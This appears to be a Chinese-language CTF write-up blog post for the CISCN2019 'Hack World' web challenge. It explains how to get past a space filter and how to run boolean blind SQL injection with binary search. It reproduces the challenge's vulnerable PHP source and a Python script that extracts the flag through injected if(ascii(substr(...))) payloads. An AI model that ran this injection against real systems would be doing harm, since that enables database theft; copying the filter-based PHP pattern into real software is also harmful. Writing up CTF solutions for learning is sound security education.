Hack World[CISCN2019 华北赛区 Day2 Web1]

y4ny4n

空格绕过与bool盲注二分查找

知识点

  • 空格绕过
  • bool盲注二分查找

学到的新知识

  • 空格被过滤可以使用tab

    空格的绕过:%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab

  • 由于-被过滤,所以无法检测为什么类型的注入,可以通过2/1,1/1判断为数字型注入

  • mysql中if()函数的使用: 在mysql中if()函数的用法类似于java中的三目表达式,其用处也比较多,具体语法如下:

    if(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,

    则返回expr3的值。

做题思路

使用burpsuite进行fuzz测试,发现还是Too many requests(复现平台有waf,一秒只能访问一次)

找到的本题源码,萌新学习一下php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$dbuser = 'root';
$dbpass = 'root';

function safe($sql)
{
#被过滤的内容 函数基本没过滤
$blackList = array(' ', '||', '#', '-', ';', '&', '+', 'or', 'and', '`', '"', 'insert', 'group', 'limit', 'update', 'delete', '*', 'into', 'union', 'load_file', 'outfile', './');
foreach ($blackList as $blackitem) {
if (stripos($sql, $blackitem)) {//在id中查找黑名单中的字符
return False;
}
}
return True;
}
if (isset($_POST['id'])) {
$id = $_POST['id'];
} else {
die();
}
$db = mysql_connect("localhost", $dbuser, $dbpass);//面向过程连接mysql
if (!$db) {
die(mysql_error());
}
mysql_select_db("ctf", $db);//选择数据库

if (safe($id)) {
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");//进行查询

if ($query) {
$result = mysql_fetch_array($query);//数组化显示查询结果,此处返回的数组应该是MYSQLI_ASSOC

if ($result) {
echo $result['content'];
} else {
echo "Error Occured When Fetch Result.";
}
} else {
var_dump($query);
}
} else {
die("SQL Injection Checked.");
}

使用的注入语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)第一次接触注入脚本,直接copy一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select flag from flag),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

result += chr(int(mid))
print(result)

学习博客

https://www.cnblogs.com/20175211lyz/p/11435298.html

  • 本文标题:Hack World[CISCN2019 华北赛区 Day2 Web1]
  • 本文作者:y4ny4n
  • 创建时间:2020-11-30 21:58:42
  • 本文链接:https://y4ny4n.cn/2020/11/30/hackworld/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
此页目录
Hack World[CISCN2019 华北赛区 Day2 Web1]